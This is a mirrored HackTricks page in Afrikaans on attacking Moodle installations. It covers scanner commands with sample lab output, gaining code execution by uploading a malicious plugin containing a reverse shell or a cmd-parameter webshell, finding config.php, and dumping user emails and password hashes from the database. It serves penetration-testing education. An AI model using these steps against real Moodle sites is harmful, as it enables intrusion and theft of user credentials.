mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
135 lines
6.5 KiB
Markdown
135 lines
6.5 KiB
Markdown
# Moodle
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
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</details>
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings te verdien tot **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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## Outomatiese Skanderings
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### droopescan
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```bash
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pip3 install droopescan
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droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
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[+] Plugins found:
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forum http://moodle.schooled.htb/moodle/mod/forum/
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http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
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http://moodle.schooled.htb/moodle/mod/forum/version.php
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[+] No themes found.
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[+] Possible version(s):
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3.10.0-beta
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[+] Possible interesting urls found:
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Static readme file. - http://moodle.schooled.htb/moodle/README.txt
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Admin panel - http://moodle.schooled.htb/moodle/login/
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[+] Scan finished (0:00:05.643539 elapsed)
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```
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### moodlescan
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Moodlescan is a Python script that can be used to enumerate users and courses on a Moodle platform. It can also perform brute-force attacks against Moodle login pages. The tool is useful for penetration testers to assess the security of Moodle installations.
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```bash
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#Install from https://github.com/inc0d3/moodlescan
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python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
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Version 0.7 - Dic/2020
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.............................................................................................................
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By Victor Herrera - supported by www.incode.cl
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.............................................................................................................
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Getting server information http://moodle.schooled.htb/moodle/ ...
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server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
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x-powered-by : PHP/7.4.15
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x-frame-options : sameorigin
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last-modified : Wed, 07 Apr 2021 21:33:41 GMT
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Getting moodle version...
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Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
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Searching vulnerabilities...
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Vulnerabilities found: 0
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Scan completed.
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```
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### CMSMap
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### CMSKaart
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```bash
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pip3 install git+https://github.com/dionach/CMSmap.git
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cmsmap http://moodle.example.com/<moodle_path>
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```
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### CVE's
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Ek het gevind dat die outomatiese gereedskap nogal nutteloos is om kwesbaarhede wat die moodle weergawe affekteer, te vind. Jy kan vir hulle **kyk** by [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
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## **RCE**
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Jy moet die **bestuurder** rol hê en jy **kan plugins installeer** binne die **"Webwerf administrasie"** lêer\*\*:\*\*
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.png>)
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As jy 'n bestuurder is, mag jy dalk steeds hierdie opsie moet **aktiveer**. Jy kan sien hoe in die moodle privilege eskalasie PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
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Daarna kan jy **die volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voordat jy dit oplaai, moet jy dit dekompresseer, die IP en poort van die revshell verander en dit weer komprimeer_)
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{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
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Of jy kan die plugin van [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) gebruik om 'n gewone PHP shell met die "cmd" parameter te kry.
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Om toegang te verkry tot die skadelike plugin moet jy toegang verkry tot:
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```bash
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http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
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```
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## POST
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### Vind databasisgeldeheid
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```bash
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find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
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```
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### Stort Geldeenhede vanaf databasis
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```bash
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/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
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```
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Foutbounty wenk**: **Teken aan** vir **Intigriti**, 'n premium **foutbounty platform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin om belonings te verdien tot **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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<details>
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<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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Ander maniere om HackTricks te ondersteun:
|
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|
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* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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